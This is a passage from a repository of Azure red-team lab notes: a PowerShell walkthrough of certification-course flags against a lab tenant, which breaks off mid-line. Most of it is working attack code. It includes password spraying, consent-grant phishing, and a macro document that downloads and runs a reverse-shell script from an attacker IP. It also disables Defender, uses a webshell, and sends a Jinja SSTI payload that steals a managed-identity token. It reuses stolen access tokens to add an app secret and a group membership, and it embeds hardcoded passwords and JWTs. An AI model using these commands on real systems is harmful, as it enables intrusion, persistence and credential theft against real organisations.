├── CARTP ├── AD_Azure_CTF_Flags.ps1 ├── AuthenticatedEnumeration_AzCLI.ps1 ├── AuthenticatedEnumeration_AzureADModule.ps1 ├── Azure_Attacks.ps1 └── DiscoveryAndRecon.ps1 ├── Notes ├── ACL_Abuse.ps1 ├── CommandsFromCourse.ps1 ├── Get-AVStatus.ps1 ├── Get-WmiNamespace.ps1 ├── Heidi_Commands.ps1 ├── PowerUpSQL_Commands.ps1 ├── PrivEsc.ps1 ├── Recon.ps1 ├── Saved_Commands.ps1 ├── Ticket_Commands.ps1 └── WMI_Commands.ps1 └── README.md /CARTP/AD_Azure_CTF_Flags.ps1: -------------------------------------------------------------------------------- 1 | ## Learning Objective 1 2 | # Enumerate and see where we are 3 | Import-Module C:\AzAD\Tools\AADInternals\AADInternals.psd1 -Verbose 4 | $User = "student170" 5 | $domain = "defcorphq.onmicrosoft.com" 6 | Get-AADIntLoginInformation -UserName $User 7 | $tenant = Get-AADIntTenantId -Domain $domain 8 | $tenant 9 | ## Learning Objective 2: Brute-force some users 10 | # Get Tenant Domains 11 | Get-AADIntTenantDomains -Domain $domain 12 | # So we got not much here, so let's take a sample set of users and see if any of them are valid within the domain 13 | C:\Python27\python.exe C:\AzAD\Tools\o365creeper\o365creeper.py -f C:\AzAD\Tools\emails.txt -o validemails.txt 14 | # That gave us 5 options! admin, test, root, dev, and contact. However, only two had emails: admin and test 15 | # Run Microburst to see what types of services are being offered 16 | Import-Module C:\AzAD\Tools\MicroBurst\MicroBurst.psm1 -Verbose 17 | $base = 'defcorphq' 18 | Invoke-EnumerateAzureSubDomains -Base $base -Verbose 19 | # Subdomain Service 20 | # defcorphq.mail.protection.outlook.com Email 21 | # defcorphq.onmicrosoft.com Microsoft Hosted Domain 22 | # defcorphq.sharepoint.com SharePoint 23 | # defcorphq-my.sharepoint.com SharePoint 24 | 25 | # use MSOLSpray to do a password spray - This ONLY works because they gave us a password! 26 | Import-Module C:\AzAD\Tools\MSOLSpray\MSOLSpray.ps1 27 | Invoke-MSOLSpray -UserList .\validemails.txt -Password 'SuperVeryEasytoGuessPAssw0rd!@222' -VErbose 28 | # Winner, we found test@defcorphq.onmicrosoft.com has this password! 29 | 30 | ## Learning Objective 3 31 | $user = "test@defcorphq.onmicrosoft.com" 32 | $pass = 'SuperVeryEasytoGuessPAssw0rd!@222' 33 | $creds = New-Object System.Management.Automation.PSCredential($user, $(ConvertTo-SecureString $pass -AsPlainText -Force)) 34 | Import-Module C:\AzAD\Tools\AzureADPreview\AzureADPreview.psd1 35 | Connect-AzureAD -Credential $creds 36 | # Let's see what the users are 37 | Get-AzureADUser 38 | # so we got a bunch of options, but no specifics on who is an Application Administrator 39 | Get-AzureADDirectoryRole | ?{$_.DisplayName -contains "Application Administrator"} 40 | $objectid = (Get-AzureADDirectoryRole | ?{$_.DisplayName -contains "Application Administrator"}).ObjectId 41 | # So we can see the role, now who is a member? 42 | Get-AzureADDirectoryRoleMember -ObjectId $objectid 43 | #ObjectId DisplayName UserPrincipalName UserType 44 | #-------- ----------- ----------------- -------- 45 | #f66e133c-bd01-4b0b-b3b7-7cd949fd45f3 Mark D. Walden MarkDWalden@defcorphq.onmicrosoft.com Member 46 | 47 | ## Learning Objective 4 48 | Get-AzureADDirectoryRole | ?{$_.DisplayName -contains "Global Administrator"} 49 | $objectid = (Get-AzureADDirectoryRole | ?{$_.DisplayName -contains "Global Administrator"}).ObjectId 50 | Get-AzureADDirectoryRoleMember -ObjectId $objectid 51 | # ObjectId DisplayName UserPrincipalName 52 | # -------- ----------- ----------------- 53 | # 1c077632-0e5b-40b3-a38c-516e4ab38d69 Monika monika_alteredsecurity.com#EXT#_monikaalteredsecurity.FGYWB#EXT#@defcorph... 54 | # 4d67b155-3494-46d0-a4cf-de359d8a9d68 admin admin@defcorphq.onmicrosoft.com 55 | 56 | ## Learning Objective 5 57 | Get-AzureADGroup 58 | Get-AzureADMSRoleDefinition | ?{$_.isBuiltIn -eq $False} 59 | # Answer is ApplicationProxyReader based on the Description 60 | 61 | ## Learning Objective 6 62 | # now jump to AzPowershell to enumerate non-AzureAD stuff 63 | Connect-AzAccount -Credential $creds 64 | Get-AzVM 65 | # test has access to bkpadconnect in the ENGINEERING resourcegroup at germanywestcentral 66 | 67 | ## flag 7 68 | Get-AzWebApp | select HostNames 69 | # returns vaultfrontend.azurewebsites.net and processfile.azurewebsites.net 70 | 71 | ## Flag 8 72 | # Now jump over to AzCli to Enumerate details 73 | az login -u $user -p $pass 74 | az vm list 75 | # Need to pull out the NetworkInterface 76 | az vm list --query "[].networkProfile.networkInterfaces" 77 | # id is: bkpadconnect368 78 | 79 | ## Flag 9 80 | az webapp list --query "[].name" 81 | az webapp list 82 | # inside "identity" field shows "SystemAssigned" 83 | 84 | ## Flag 10 85 | # Run ROADTools and gather the info 86 | # you have to open a new shell and run this! 87 | cd C:\AzAD\Tools\ROADTools 88 | pipenv shell 89 | $user = "test@defcorphq.onmicrosoft.com" 90 | $pass = 'SuperVeryEasytoGuessPAssw0rd!@222' 91 | roadrecon auth -u $user -p $pass 92 | roadrecon gather 93 | roadrecon gui 94 | # Now use your browswer and see your results 95 | # Operations has "User" access to Finance in the "Application Roles" 96 | 97 | ## Flag 11 98 | az webapp list --query "[].name" 99 | # Not in there, looking for processfile app 100 | az functionapp list --query "[].name" 101 | az functionapp list 102 | # Now let's run stormspotter and see that one run 103 | cd C:\AzAD\Tools\stormspotter\backend 104 | pipenv shell 105 | python ssbackend.pyz 106 | # start the front-end in a shell that is not an ISE 107 | cd C:\AzAD\Tools\stormspotter\frontend\dist\spa 108 | quasar.cmd serve -p 9001 --history 109 | # Collect the data 110 | cd C:\AzAD\Tools\stormspotter\stormcollector\ 111 | pipenv shell 112 | # login with your creds 113 | az login -u $User -p $Pass 114 | python C:\AzAD\Tools\stormspotter\stormcollector\sscollector.pyz cli 115 | # Now go to https://localhost:9001 116 | # Reader is the permissions given to test user 117 | 118 | ## Flag 12 119 | # They are looking for the Bloodhound filter, not the Stromspotter filter! 120 | # MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p 121 | 122 | ## Flag 13 123 | # User.ReadBasic.All is the other permissions that need to be added to the "API Permissions" 124 | 125 | ## Flag 14 126 | # Start the Illicit-Grant Attack 127 | Connect-AzureAD -Credential $creds 128 | (Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole 129 | # Start up 365Stealer and get it started 130 | # Now we will go to those subdomains we found earlier and see if we can find some submit forms 131 | # After finding one, we get a response from ErikmKeller 132 | # That gives us back a list of user and time to go fishing. Let's fish for all users and see who responds 133 | # We got a response from Mark! 134 | # Let's create a rev shell in a word document and upload to his onedrive! 135 | # You have to have a computer with office installed if you want to make an office macro exploit 136 | $passwd = ConvertTo-SecureString "ForCreatingWordDocs@123" -AsPlainText -Force 137 | $creds = New-Object System.Management.Automation.PSCredential ("office-vm\administrator", $passwd) 138 | $officeVM = New-PSSession -ComputerName 172.16.1.250 -Credential $creds 139 | Enter-PSSession -Session $officeVM 140 | Set-MpPreference -DisableRealtimeMonitoring $true 141 | # Upload the Out-Word exploit to the office VM 142 | IEX(New-Object Net.Webclient).downloadString("http://172.16.151.170:82/Out-Word.ps1") 143 | Out-Word -Payload "powershell iex (new-object Net.webclient).downloadstring('http://172.16.151.170:82/Invoke-PowershellTcp.ps1');Power -Reverse -IPAddress 172.16.151.170 -Port 4444" -OutputFile student3.doc 144 | exit 145 | Copy-Item -FromSession $officeVM -Path C:\Users\Administrator\Documents\student3.doc -Destination C:\xampp\htdocs\student2.doc 146 | # In a new terminal, start a listener 147 | nc.exe -lvp 4444 148 | # And we have a shell 149 | hostname 150 | 151 | ## Flag 16 152 | # go to defcorphqcareer.azurewebsites.net and upload your webshell 153 | $token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDM1ODc1MDIsIm5iZiI6MTY0MzU4NzUwMiwiZXhwIjoxNjQzNjc0MjAyLCJhaW8iOiJFMlpnWUVnM1ZkbWY2aHNwdi91UE1iZmY4L01DQUE9PSIsImFwcGlkIjoiMDY0YWFmNTctMzBhZi00MWYwLTg0MGEtMGUyMWVkMTQ5OTQ2IiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiY2M2N2M5MGQtZDllOS00MGQyLWI1MTEtOWQ1MmQ2NzY4MmFiIiwicmgiOiIwLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRsZXZTZ2F2TVBCQmhBb09JZTBVbVVad0FBQS4iLCJzdWIiOiJjYzY3YzkwZC1kOWU5LTQwZDItYjUxMS05ZDUyZDY3NjgyYWIiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiJadGxLOXJQT0hrS2RKcGpzZFVNSUFBIiwidmVyIjoiMS4wIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL0VuZ2luZWVyaW5nL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL2RlZmNvcnBocWNhcmVlciIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.gFQMxSaef9Sw9DNz2BHgjTAjympREHhxAg8uhCVdN6619fBRF5bVVBicESmOJz3PxRjkj4QvuzzETP_qOtKU1BtwzMayoknA5G4P9ZdGsZGfwKkhi5JyFb4ujyLgbJdUZuI628zY5pypt_8-9Fmc6xlPMYMZifNhFWEgFsv6TTJ-S8BilnptUHVukN0wz2hXkNy0xydrrppN61nGmBwRaEVxMNby_YoNGE9DXZGW4tV68Ws6I00XfCdLKMnjcx1o4Qe2rWeFrtnTTg6N9S9z5uslHDWwz7nK2EZFy1XxpJrjja1VO-5rJ0l9DWPBF-8uwBA12m_o6bKCQaUg35zrQg' 154 | $client_id = '064aaf57-30af-41f0-840a-0e21ed149946' 155 | Connect-AzAccount -AccessToken $token -AccountId $client_id 156 | Get-AzRoleAssignment 157 | # if it returns an error, we have to do it manually 158 | $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' 159 | $RequestParams = @{ 160 | Method = 'GET' 161 | Uri = $URI 162 | Headers = @{ 163 | 'Authorization' = "Bearer $token" 164 | } 165 | } 166 | (Invoke-RestMethod @RequestParams).value 167 | $subid = (Invoke-RestMethod @RequestParams).value.subscriptionId 168 | $URI = "https://management.azure.com/subscriptions/$subid/resources?api-version=2020-10-01" 169 | $RequestParams = @{ 170 | Method = 'GET' 171 | Uri = $URI 172 | Headers = @{ 173 | 'Authorization' = "Bearer $token" 174 | } 175 | } 176 | $results = (Invoke-RestMethod @RequestParams).value 177 | $results | ForEach-Object{ 178 | $input = $_.id 179 | $URI = "https://management.azure.com$input/providers/Microsoft.Authorization/permissions?api-version=2015-07-01" 180 | $RequestParams = @{ 181 | Method = 'GET' 182 | Uri = $URI 183 | Headers = @{ 184 | 'Authorization' = "Bearer $token" 185 | } 186 | } 187 | (Invoke-RestMethod @RequestParams).value 188 | } 189 | # gives: Microsoft.Compute/virtualMachines/runCommand/action 190 | 191 | ## Flag 18 192 | # Exploit the SSTI on the vaultfrontend to get the info 193 | {{7 * 7 }} 194 | {{config.items}} 195 | # jinja 196 | 197 | ## Flag 19 198 | # 199 | {% for x in ().__class__.__mro__[1].__subclasses__() %} {% if "Popen" in x.__name__ %} {{x('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER',shell=True,stdout=- 1).communicate()}} {% endif %} {% endfor %} 200 | $token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MzU4MDQ5OCwibmJmIjoxNjQzNTgwNDk4LCJleHAiOjE2NDM2NjcxOTgsImFpbyI6IkUyWmdZR2cxaUs3NEUzS0xPWlR0NkxkSzI0YUhBQT09IiwiYXBwaWQiOiIyZTkxYTRmZS1hMGYyLTQ2ZWUtODIxNC1mYTJmZjZhYTlhYmMiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiIzMGU2NzcyNy1hOGI4LTQ4ZDktODMwMy1mMjQ2OWRmOTdjYjIiLCJyaCI6IjAuQVhBQUtjdFFMWHRmcEVpSHp2NTFxVUd0dHY2a2tTN3lvTzVHZ2hUNkxfYXFtcnh3QUFBLiIsInN1YiI6IjMwZTY3NzI3LWE4YjgtNDhkOS04MzAzLWYyNDY5ZGY5N2NiMiIsInRpZCI6IjJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNiIsInV0aSI6Ik1jTGpoZVBmYzBHRWtSY0tpT29IQUEiLCJ2ZXIiOiIxLjAiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy9iNDEzODI2Zi0xMDhkLTQwNDktOGMxMS1kNTJkNWQzODg3NjgvcmVzb3VyY2Vncm91cHMvUmVzZWFyY2gvcHJvdmlkZXJzL01pY3Jvc29mdC5XZWIvc2l0ZXMvdmF1bHRmcm9udGVuZCIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.nOK9_xWHCaCt7oiq-JOARRzm-jaUHXncd2cqe5s5S2j3xFyPXDnFTR5cLdY4ch9sv39Z3qUFkk8oYKZBt2m_38O1beLZOZPURmpgQGKcAypnz83Faxi88Ghl9bSYowkvC6HN6gaqHK3Mw35hB4FgB-vBdfmy6yQaRrv0T5baI917ogSU3OrTL1uNAIk0Mq_izs7fXvjLpqd8D6VJOtu534qQJvuGS0ZstHpkshbKYDpHIaWCEmFtonP0xFNp2xMshx8eZxYpYFObK-E8eQa7nZk5NRTQLWdFXvx1L-J6XXENqzxs9RjjZVU1bFh6zrdepWFahiBVrdvxYcZY47GDhQ' 201 | $client_id = '2e91a4fe-a0f2-46ee-8214-fa2ff6aa9abc' 202 | Connect-AzAccount -AccessToken $token -AccountId $client_id 203 | Get-AzContext -ListAvailable 204 | Get-AzRoleAssignment 205 | Get-AzResource 206 | # have no idea what this question is asking for. User is not it 207 | 208 | ## Flag 20 209 | # Compromise the scanner 210 | $token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDM1OTAyNDMsIm5iZiI6MTY0MzU5MDI0MywiZXhwIjoxNjQzNjc2OTQzLCJhaW8iOiJFMlpnWUhBdlVlT2Z2T3REKzE3aHBKVTdwNjViQWdBPSIsImFwcGlkIjoiNjJlNDQ0MjYtNWM0Ni00ZTNjLThhODktZjQ2MWQ1ZDU4NmYyIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwicmgiOiIwLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRpWkU1R0pHWER4T2lvbjBZZFhWaHZKd0FBQS4iLCJzdWIiOiJlYTRjM2MxNy04YTVkLTRlMWYtOTU3Ny1iMjlkZmZmMDczMGMiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiJOQXJ1TF91T1MwaVFzd2JuQ3NrZ0FBIiwidmVyIjoiMS4wIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL0lUL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL3Byb2Nlc3NmaWxlIiwieG1zX3RjZHQiOjE2MTUzNzU2Mjl9.QcKlzfBy5GWrX_jg-Ic1rEDPdCuWgmCkSzdfUjCL23bVzjpIZ9pXQ4qFm2ZwsimtNrlbZ7Sm9J0TVQxB5UzCe3eTOMCns2NJszP_I-rtydrLdMvJtIUNJhMZZH0O_Xh-KpYYaNALyHl2-_BLR-E5u7LFx7hXJ_O4lbtbFnusMzMZnoFyXFopFMhI72ls7T_imlssNUzio1JpvHzgoTibTxJNYMYCn-XTvNOovT2xvKnWUCpkARsmYbsjjPLYR4Nssgo6cIawNDAyCMjMAgWD3Xk2qQUQpoP6V7bZeb09-AhbKshBnrLvXb4ArTrNyQO5Bhy1BQ4CFtQn_8vOUwNEjQ' 211 | $client_id = '62e44426-5c46-4e3c-8a89-f461d5d586f2' 212 | $graph_token = 'eyJ0eXAiOiJKV1QiLCJub25jZSI6InFKMmQ5SHZzNmd5azJBclp4bHRfR3ZlR3JKUUhydUd6LWVtcDZlYml0WnMiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MzU5MDI0MywibmJmIjoxNjQzNTkwMjQzLCJleHAiOjE2NDM2NzY5NDMsImFpbyI6IkUyWmdZRWczVmRtZjZoc3B2L3VQTWJmZjgvTUNBQT09IiwiYXBwX2Rpc3BsYXluYW1lIjoicHJvY2Vzc2ZpbGUiLCJhcHBpZCI6IjYyZTQ0NDI2LTVjNDYtNGUzYy04YTg5LWY0NjFkNWQ1ODZmMiIsImFwcGlkYWNyIjoiMiIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpZHR5cCI6ImFwcCIsIm9pZCI6ImVhNGMzYzE3LThhNWQtNGUxZi05NTc3LWIyOWRmZmYwNzMwYyIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0aVpFNUdKR1hEeE9pb24wWWRYVmh2SndBQUEuIiwic3ViIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkFTIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidXRpIjoiaWg1M0J0NjNXVUsyTzRKNFB2Rm5BQSIsInZlciI6IjEuMCIsIndpZHMiOlsiMDk5N2ExZDAtMGQxZC00YWNiLWI0MDgtZDVjYTczMTIxZTkwIl0sInhtc190Y2R0IjoxNjE1Mzc1NjI5fQ.sc58Brk_8XvZaEF6CwNmJ2ghCtm0dPZV0qlvZ-lHttKn_-5OtkAae9CQnXgUK1zpXAMotTEFxBgzCjJPEx1-RNM7Ep2MzvRaQCTrMog6TUFTGDJy1jMLNTH6CRGzi0HYWEYgZZSLKKJIzKfHpzU_n2yy4YZd7L0zfYp-741YhV26drKlfe2LGeAf1Tq_LXwDBk8UNi5E2llLpuWwnfATkJbrPF_kVVFZaQHaq9rgvHOkwZzwmHX-TEWaEzDggbB8uPMIsk5VvLjSPnZ-ZCydvJ8jAkXjmJvsfiwQg2HUIqR8zlJ4s6eYC_RScaHc68iy59hOtYTVswBJ7k0Z2DoRsQ' 213 | Connect-AzAccount -AccessToken $token -GraphAccessToken $graph_token -AccountId $client_id 214 | $URI = 'https://graph.microsoft.com/v1.0/applications' 215 | $RequestParams = @{ 216 | Method = 'GET' 217 | Uri = $URI 218 | Headers = @{ 219 | 'Authorization' = "Bearer $graph_token" 220 | } 221 | } 222 | (Invoke-RestMethod @RequestParams).value 223 | . C:\AzAD\Tools\Add-AzADAppSecret.ps1 224 | Add-AzADAppSecret -GraphToken $graph_token -Verbose 225 | # so "fileapp" is what can be added 226 | 227 | ## Flag 21 228 | # 229 | Import-Module C:\AzAD\Tools\MicroBurst\MicroBurst.psm1 -Verbose 230 | $base = "defcorp" 231 | Invoke-EnumerateAzureBlobs -Base $base 232 | # defcorpcommon 233 | 234 | ## Flag 22 235 | # backup...found with the last flag 236 | 237 | ## Flag 23 238 | # This is from our shell we got before 239 | az ad signed-in-user show 240 | # says Mark is the user, need the group 241 | az extension add --upgrade -n automation 242 | az ad signed-in-user list-owned-objects 243 | # There is a "Automation Admins". Pull out the objectId 244 | # we need a graph token for this, so request one 245 | az account get-access-token --resource-type aad-graph 246 | $graph = '' 247 | # account id is needed, you need to find the account-id from the az ad signed-in-user show 248 | $client_id = 'f66e133c-bd01-4b0b-b3b7-7cd949fd45f3' 249 | # with these, you can go back to your shell and not the rev-shell! 250 | $graph = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLndpbmRvd3MubmV0LyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDM1ODgxMzQsIm5iZiI6MTY0MzU4ODEzNCwiZXhwIjoxNjQzNTkzNzAyLCJhY3IiOiIxIiwiYWlvIjoiRTJaZ1lFaUlrY2g2My9rdXhMMDVZOUh2OW1jU3MzTk5WZXkxVGt3dlZsTmtlTmRTYmdNQSIsImFtciI6WyJwd2QiXSwiYXBwaWQiOiIwNGIwNzc5NS04ZGRiLTQ2MWEtYmJlZS0wMmY5ZTFiZjdiNDYiLCJhcHBpZGFjciI6IjAiLCJpcGFkZHIiOiI1MS4yMTAuMS4yMzkiLCJuYW1lIjoiTWFyayBELiBXYWxkZW4iLCJvaWQiOiJmNjZlMTMzYy1iZDAxLTRiMGItYjNiNy03Y2Q5NDlmZDQ1ZjMiLCJwdWlkIjoiMTAwMzIwMDEyMEQ0Q0U0QiIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0cFYzc0FUYmpScEd1LTRDLWVHX2UwWndBQ2MuIiwic2NwIjoiNjJlOTAzOTQtNjlmNS00MjM3LTkxOTAtMDEyMTc3MTQ1ZTEwIiwic3ViIjoiWmoxUC0zY05mYzNXd3pJdTRRS1lBVVhzZnVmM3JCTElnajhfSEJXeEtybyIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJBUyIsInRpZCI6IjJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNiIsInVuaXF1ZV9uYW1lIjoiTWFya0RXYWxkZW5AZGVmY29ycGhxLm9ubWljcm9zb2Z0LmNvbSIsInVwbiI6Ik1hcmtEV2FsZGVuQGRlZmNvcnBocS5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJaSmo0cmktR1BFV1F1YVRfdDU1ZUFBIiwidmVyIjoiMS4wIn0.SXHJ7Vcoz5vsOWMf8Bi1_qfmhejQuJfa_FlxssCJ8ZBy6y4SU09IzuUx90X9Y78Cg-LD9OruMccmGNnf5mdHCiYylwkNqjX4MBM6xkrY9D7MiPhhz4mI4LUyi-ejTdlnT6YTH0z5XD2461q_jjWoMBTDb2vhVRhfPP477Wo4z0Hb-N2fDingcixILxvztBgaTSfAaeLO7LX7IGztOquRuXW9r-Uz6j5ivPeu_Uq497MTmg2lLpbbUVg9Mbzc1LW7R5cm7omCZi7PeG_D_kEZYWsIfgCUBbczO_glqPFv3oK4k08j8IBOsYWlFuPYh3270IAKutVnpuUd6OyxblaEKg' 251 | Import-Module C:\AzAD\Tools\AzureAD\AzureAD.psd1 252 | az account get-access-token --resource-type aad-graph 253 | 254 | $graph = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLndpbmRvd3MubmV0LyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDM2NzU0MzQsIm5iZiI6MTY0MzY3NTQzNCwiZXhwIjoxNjQzNjgwMTI1LCJhY3IiOiIxIiwiYWlvIjoiRTJaZ1lOaWFzOS9JdDRkcldyRUdvNXYyUjY2Q3Zmb3ZPYnFVNy8vS09WMjcySEMraHhjQSIsImFtciI6WyJwd2QiXSwiYXBwaWQiOiIwNGIwNzc5NS04ZGRiLTQ2MWEtYmJlZS0wMmY5ZTFiZjdiNDYiLCJhcHBpZGFjciI6IjAiLCJpcGFkZHIiOiI1MS4yMTAuMS4yMzkiLCJuYW1lIjoiTWFyayBELiBXYWxkZW4iLCJvaWQiOiJmNjZlMTMzYy1iZDAxLTRiMGItYjNiNy03Y2Q5NDlmZDQ1ZjMiLCJwdWlkIjoiMTAwMzIwMDEyMEQ0Q0U0QiIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0Z0lBQUFBQUFBQUF3QUFBQUFBQUFBQndBQ2MuIiwic2NwIjoiNjJlOTAzOTQtNjlmNS00MjM3LTkxOTAtMDEyMTc3MTQ1ZTEwIiwic3ViIjoiWmoxUC0zY05mYzNXd3pJdTRRS1lBVVhzZnVmM3JCTElnajhfSEJXeEtybyIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJBUyIsInRpZCI6IjJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNiIsInVuaXF1ZV9uYW1lIjoiTWFya0RXYWxkZW5AZGVmY29ycGhxLm9ubWljcm9zb2Z0LmNvbSIsInVwbiI6Ik1hcmtEV2FsZGVuQGRlZmNvcnBocS5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiIwWDlYXzJ6TWNVaVZ5TXFJem5RREFBIiwidmVyIjoiMS4wIn0.b-CMRYeo5WsBAY9reCN3xlQj0cAMVXz_kw_g-dYpkHuUxn76WqcsHMDWqAthKzhYfNgrC9QIpIU6dDqZ0KWti6GR2dDcobwpoNHIy8haRNhqx294wSy1iXTyTE3AlBHfaQ2hjCtNQSNXviW7Et3OloKvEZz8YaUUzX3Yww_zPkWbOY4HtlWE7LGdgfBF2c9lgZvC3I50I6FL5S_RUoMgKWNTvpGcOBk8d1E-Gz3dFBXGXgcbR9jrrmM-fEWZ6lgEBOLCzCfK71U9AenxdqXje_8Vjjb9US5TxIzlIc34TPC2ovedpGZdQiEjCQpWzlSoOsobOo5CusLUwtmfFJALdA' 255 | $tenantId = '2d50cb29-5f7b-48a4-87ce-fe75a941adb6' 256 | Connect-AzureAD -AadAccessToken $graph -TenantId $tenantId -AccountId $client_id 257 | $automationAdminObjectId = 'e6870783-1378-4078-b242-84c08c6dc0d7' 258 | # Now let's add the user we have in the shell to the Automation admins Group 259 | Add-AzureADGroupMember -ObjectId $automationAdminObjectId -RefObjectId $client_id 260 | # Jump back to the rev-shell and pull the id 261 | az automation account list 262 | # grab an access token 263 | az account get-access-token 264 | # Now back to my shell 265 | $token = 